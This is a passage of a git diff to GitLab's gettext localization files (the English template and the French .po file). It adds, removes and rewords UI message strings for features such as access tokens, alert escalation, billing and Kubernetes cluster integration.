msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/fr/gitlab.po b/locale/fr/gitlab.po
index 55cdf87e819..0d5d61151f4 100644
--- a/locale/fr/gitlab.po
+++ b/locale/fr/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: fr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:34\n"
+"PO-Revision-Date: 2021-07-01 21:18\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr " %{start} à %{end}"
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d couche"
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr "%{count} approbations de %{name}"
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,11 +672,11 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}En savoir plus%{link_end} sur les droits des rôles"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr "épopées %{state}"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}En savoir plus%{usage_ping_link_end} sur les informations partagées avec GitLab Inc."
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr "Ajoutez un commentaire général à %{noteable_name}."
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "Ajoutez une page d’accueil à votre wiki contenant des informations sur votre projet. GitLab l’affichera ici à la place de ce message."
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr "Spécifiez un domaine à utiliser par défaut pour les étapes Auto Revi
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "Une erreur s’est produite lors de l’activation ou la désactivation de l’abonnement aux notifications"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "Une erreur est survenue lors de la mise à jour du poids du ticket"
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "Une erreur s’est produite lors de la récupération des projets"
@@ -3762,9 +3792,6 @@ msgstr "Une erreur est survenue lors de la mise à jour du commentaire"
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr "Au moins une approbation d’un propriétaire de code est requise pour modifier les fichiers correspondant aux règles de propriété du code (CODEOWNER)."
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr "Auto DevOps"
msgid "Auto DevOps enabled"
msgstr "Auto DevOps activé"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr "Auto DevOps, exécuteurs et artéfacts de tâches"
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr "Parcourir les fichiers"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,11 +5806,11 @@ msgstr "Stratégie de déploiement"
msgid "CICD|Jobs"
msgstr "Tâches"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "Le pipeline Auto DevOps sera exécuté si aucun autre fichier de configuration n’est trouvé."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr ""
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de retour"
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Choisissez le groupe de premier niveau pour vos importations dans le dépôt."
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} a été installé avec succès sur votre grappe de serveurs Kubernetes"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificat d’autorité de certification"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "Ensemble de certificats des autorités de certification (format PEM)"
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Choisissez lequel de vos environnements utilisera cette grappe de serveurs."
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
